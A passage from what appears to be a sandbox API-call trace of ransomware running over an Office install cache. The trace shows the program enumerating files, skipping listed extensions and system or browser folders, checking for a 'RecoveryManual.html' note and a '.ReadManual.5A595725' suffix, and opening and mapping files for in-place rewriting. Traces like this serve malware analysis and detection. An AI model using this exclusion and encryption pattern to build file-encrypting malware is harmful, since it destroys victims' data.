dwNumberOfBytesToMap=0x41d4) returned 0x2f0000 [0198.613] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0198.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31928167981) returned 1 [0198.613] CloseHandle (hObject=0x194) returned 1 [0198.613] SetSecurityInfo () returned 0x57 [0198.613] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0198.613] CloseHandle (hObject=0x190) returned 1 [0198.613] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0198.613] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProPrWW.cab" | out: lpString1="ProPrWW.cab") returned="ProPrWW.cab" [0198.613] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="RecoveryManual.html") returned -1 [0198.613] StrStrIW (lpFirst="ProPrWW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0198.613] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0198.613] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0198.613] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0198.614] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0198.614] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0198.614] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" [0198.614] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.ReadManual.5A595725" [0198.614] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.ReadManual.5A595725") returned 98 [0198.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31928268784) returned 1 [0198.614] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0198.615] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0198.615] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=177720283) returned 1 [0198.615] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa97cbdb, lpName=0x0) returned 0x194 [0198.615] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0198.615] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.615] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0198.622] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0198.622] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000000) returned 0x4350000 [0201.653] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0201.796] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4000000, dwNumberOfBytesToMap=0x4000000) returned 0x4350000 [0205.999] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0206.224] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x8000000, dwNumberOfBytesToMap=0x297cbdb) returned 0x4350000 [0208.375] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0208.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=32913417587) returned 1 [0208.465] CloseHandle (hObject=0x194) returned 1 [0208.466] SetSecurityInfo () returned 0x57 [0208.466] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0208.466] CloseHandle (hObject=0x190) returned 1 [0208.467] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0208.467] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProPrWW2.cab" | out: lpString1="ProPrWW2.cab") returned="ProPrWW2.cab" [0208.467] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="RecoveryManual.html") returned -1 [0208.467] StrStrIW (lpFirst="ProPrWW2.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0208.467] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0208.467] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0208.467] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0208.467] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" [0208.467] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.ReadManual.5A595725" [0208.467] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.ReadManual.5A595725") returned 99 [0208.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=32913611510) returned 1 [0208.467] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0208.470] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0208.470] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=222948913) returned 1 [0208.470] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd49ee31, lpName=0x0) returned 0x194 [0208.470] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0208.471] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.471] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0208.485] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0208.485] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0213.699] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0213.837] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4000000, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0216.831] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0216.973] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x8000000, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0220.040] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0220.316] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xc000000, dwNumberOfBytesToMap=0x149ee31) returned 0x4350000 [0221.503] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0221.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34221584992) returned 1 [0221.547] CloseHandle (hObject=0x194) returned 1 [0221.547] SetSecurityInfo () returned 0x57 [0221.547] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0221.548] CloseHandle (hObject=0x190) returned 1 [0221.894] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0221.894] lstrcpyW (in: lpString1=0x6ab922, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0221.895] lstrcmpiW (lpString1="setup.exe", lpString2="RecoveryManual.html") returned 1 [0221.895] StrStrIW (lpFirst="setup.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.895] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0221.895] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0221.895] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0221.895] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0221.895] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0221.895] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0221.895] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0221.895] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" [0221.895] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0221.896] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0221.896] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=34256450499) returned 1 [0221.896] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0221.897] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0221.898] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=31094) returned 1 [0221.898] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7976, lpName=0x0) returned 0x194 [0221.898] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0221.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.899] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0221.902] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0221.902] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7976) returned 0x2f0000 [0221.902] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0221.902] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=34257118838) returned 1 [0221.902] CloseHandle (hObject=0x194) returned 1 [0221.903] SetSecurityInfo () returned 0x57 [0221.903] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0221.903] CloseHandle (hObject=0x190) returned 1 [0221.904] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0221.904] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0221.904] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0221.904] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C") returned="{91140000-003B-0000-1000-0000000FF1CE}-C" [0221.904] lstrcatW (in: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0221.904] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0221.905] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0221.905] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned 67 [0221.905] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x663238 [0221.907] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0221.907] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.907] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0221.907] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0221.907] lstrcmpiW (lpString1="Office32WW.msi", lpString2="RecoveryManual.html") returned -1 [0221.907] StrStrIW (lpFirst="Office32WW.msi", 